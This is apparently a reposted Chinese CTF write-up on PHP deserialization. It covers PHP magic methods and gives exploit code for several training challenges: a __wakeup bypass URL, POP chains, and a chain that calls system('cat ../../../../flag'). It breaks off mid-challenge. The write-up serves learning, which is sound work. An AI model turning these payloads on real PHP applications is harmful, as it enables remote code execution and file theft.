CTF php反序列化总结

Posted E1gHt_1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF php反序列化总结相关的知识,希望对你有一定的参考价值。

前言:本⼈⽔平不⾼,只能做⼀些类似收集总结这样的⼯作,本篇文章是我自己在学php反序列化写的一篇姿势收集与总结,有不对的地方欢迎师傅们批评指正~

php反序列化

定义:序列化就是将对象转换成字符串。反序列化相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

漏洞原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

常用魔术方法

serialize()		//将一个对象转换成要给字符串
unserialize()	//将字符串还原成一个对象	触发: unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法
__toString()	//方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时
__construct()	//创建对象时触发
__destruct()	//对象被销毁时触发
__wakeup()		//在使用unserialize()时,会检查是否存在一个__wakeup()魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。
__call()		//在对象上下文中调用不可访问的方法时触发
__invoke()		//在脚本尝试将对象调用为函数时触发
__callStatic()	//在静态上下文中调用不可访问的方法时触发
__get()			//用于从不可访问的属性读取数据
__set()			//用于将数据写入不可访问的属性
__isset() 		//在不可访问的属性上调用isset()或empty()触发
__unset()		//在不可访问的属性上使用unset()时触发

常用魔术方法(详细比较版)

1、__get、__set

这两个方法是为在类和他们的父类中没有声明的属性而设计的

__get( $property ) 当调用一个未定义的属性时访问此方法

__set( $property, $value ) 给一个未定义的属性赋值时调用

这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

2、__isset、__unset

__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法

__unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法

与__get方法和__set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

3、__call

__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法

4、__autoload

__autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。

注意: 在 __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。

5、__construct、__destruct

__construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称

__destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法

默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用.

在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset6、__clone

PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。

7、__toString

__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。

在PHP 5.2.0之前,__toString方法只有结合使用echo()print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符)

从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。

8、__sleep、__wakeup

__sleep 串行化的时候用

__wakeup 反串行化的时候调用

serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。

使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。

相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

9、__set_state

当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按array(’property’ => value,)格式排列的类属性。

10、__invoke

当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效

11、__callStatic

它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。

同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。

案例,这里建议自己在本地运行一下便于理解

<?php
class ABC
    public $test;
    function __construct()
        $test =1;
        echo '调用了构造函数<br>';
    
    function __destruct()
        echo '调用了析构函数<br>';
    
    function __wakeup()
        echo '调用了苏醒函数<br>';
    

echo '创建对象a<br>';
$a=new ABC();
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';
     
?>    

平时做题构造pop链时发现要记忆的东西很多,记不住的话建议向上面那样开三个窗口对着看,或者多屏。一个魔术方法的触发条件,一个题目代码,一个exp代码。接下来由题目由浅入深学习一下php反序列化

[SWPUCTF 2021 新生赛]ez_unserialize

普通反序列化

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm

    public $admin;
    public $passwd;

    public function __construct()
        $this->admin ="user";
        $this->passwd = "123456";
    

        public function __destruct()
        if($this->admin === "admin" && $this->passwd === "ctf")
            include("flag.php");
            echo $flag;
        else
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        
    


$p = $_GET['p'];
unserialize($p);
?>

解题,有个判断条件

if($this->admin === "admin" && $this->passwd === "ctf")

这里直接构造就好了

<?php
class wllm
    public $admin;
    public $passwd;
    public function __construct()
        $this->admin ="admin";
        $this->passwd ="ctf";
    

$b = new wllm();
echo serialize($b);
?>

将得到的结果进行get传参即可得到flag

[SWPUCTF 2021 新生赛]no_wakeup

绕过wakeup魔术方法

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa


        public $admin;
        public $passwd;

        public function __construct()
            $this->admin ="user";
            $this->passwd = "123456";
        

        public function __wakeup()
            $this->passwd = sha1($this->passwd);
        

        public function __destruct()
            if($this->admin === "admin" && $this->passwd === "wllm")
                include("flag.php");
                echo $flag;
            else
                echo $this->passwd;
                echo "No wake up";
            
        
    

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

考点:__wakeup()函数的绕过:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数。

漏洞影响的版本PHP5 < 5.6.25 PHP7 < 7.0.10

<?php

class HaHaHa
        public $admin;
        public $passwd;

        public function __construct()
            $this->admin = "admin";
            $this->passwd = "wllm";
        

 
    
$b = new HaHaHa();
echo serialize($b);
?>

输出如下:

O:6:"HaHaHa":2:s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";
payload:http://1.14.71.254:28886/class.php?p=O:6:%22HaHaHa%22:3:s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;

这里将HaHaHa这个类的属性值2改成了3,这样就绕过了wakeup()魔术方法。

执行__toString()魔术方法

<?php  

class Flag  //flag.php  
    public $file;  
    public function __tostring()  
        if(isset($this->file))  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
          
      
  
?>  

本地进行序列化,echo时会自动触发__tostring魔术方法

exp如下

<?php

    class Flag  //flag.php  
    public $file="flag.php";  
    public function __tostring()  
        if(isset($this->file))  
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
          
      
  
$a=new Flag();
echo serialize($a);
?>

多个有类反序列化(pop链的构造)

[SWPUCTF 2021 新生赛]pop

1.读源码

 <?php

error_reporting(0);
show_source("index.php");

class w44m

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag()
        if($this->admin === 'w44m' && $this->passwd ==='08067')
            include('flag.php');
            echo $flag;
        else
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        
    


class w22m
    public $w00m;
    public function __destruct()
        echo $this->w00m;
    


class w33m
    public $w00m;
    public $w22m;
    public function __toString()
        $this->w00m->$this->w22m();
        return 0;
    


$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

2.寻找pop链

# 传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m符合条件,并且$w00m参数可控,echo触发__toString,__toString方法又当作函数执行,可以触发w44m里的Getflag函数从而输出flag。
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()

3.写exp

<?php
class w44m
    private $admin="w44m";
    protected $passwd="08067";


class w22m
    public $w00m;

class w33m
    public $w00m;
    public $w22m;

$a=new w22m();
$b=new w33m();
$c=new w44m();
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));

这里提一句为什么要用urlencode,因为类中出现private属性。原理请参考:https://blog.csdn.net/weixin_45844670/article/details/108171963

[SWPU NSS新生赛] ez_1zpop

 <?php
error_reporting(0);
class dxg

   function fmm()
   
      return "nonono";
   


class lt

   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   
      $this->impo = new dxg;
   
   function __wakeup()
   
      $this->impo = new dxg;
      return $this->impo->fmm();
   

   function __toString()
   
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   
   function __destruct()
   
      echo $this;
   


class fin

   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   
      $b = $this->a;
      $b($this->title);
   


if (isset($_GET['NSS'])) 
   $Data = unserialize($_GET['NSS']);
 else 
   highlight_file(__file__);


2.找pop链,注意里面的细节

找一下魔术方法__wakeup,__toString,__destruct,想一下他们的触发方式。
__destruct()	//对象被销毁时触发
__wakeup()		//在使用unserialize()时,会检查是否存在一个__wakeup()魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。
__toString()	//方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时

再去读一下__wakeup()方法,因为这个方法是可能可以做入口的,发现里面代码执行的是fmm函数,而fmm函数返回的是dxg类里的"nonono",代表这题是要绕过__wakeup方法的,不让它执行。
再去看__destruct函数,里面执行的是echo语句,可以触发__tostring方法。
再去找一下出口,看到还有一个函数,是fin类里面的fmm函数,看fin类里面可以命令执行。现在思路就清晰了。
__destruct()->__toString()->fin.fmm();

3.exp

<?php
class dxg

    function fmm()
    
        return "nonono";
    

class lt
    public $impo;
    public $md51='QNKCDZO';
    public $md52='240610708';

class fin
    public $a="system";
    public $url = 'https://www.ctfer.vip';
    public $title="cat ../../../../flag";

$a=new dxg();
$nss=new lt();
$c=new fin();
$nss->impo=$c;
echo (serialize($nss));

NewStar新生赛 UnserializeOne

 <?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start

以上是关于CTF php反序列化总结的主要内容,如果未能解决你的问题,请参考以下文章

CTF中PHP反序列化和命令注入的一次简单利用

PHP Phar反序列化总结

XCTF-攻防世界CTF平台-Web类——13Web_php_unserialize(php反序列化漏洞绕过__wakeup()函数正则表达式)

PHP反序列化新手入门学习总结

[原题复现]-HITCON 2016 WEB《babytrick》[反序列化]

ctf.show-web-1000题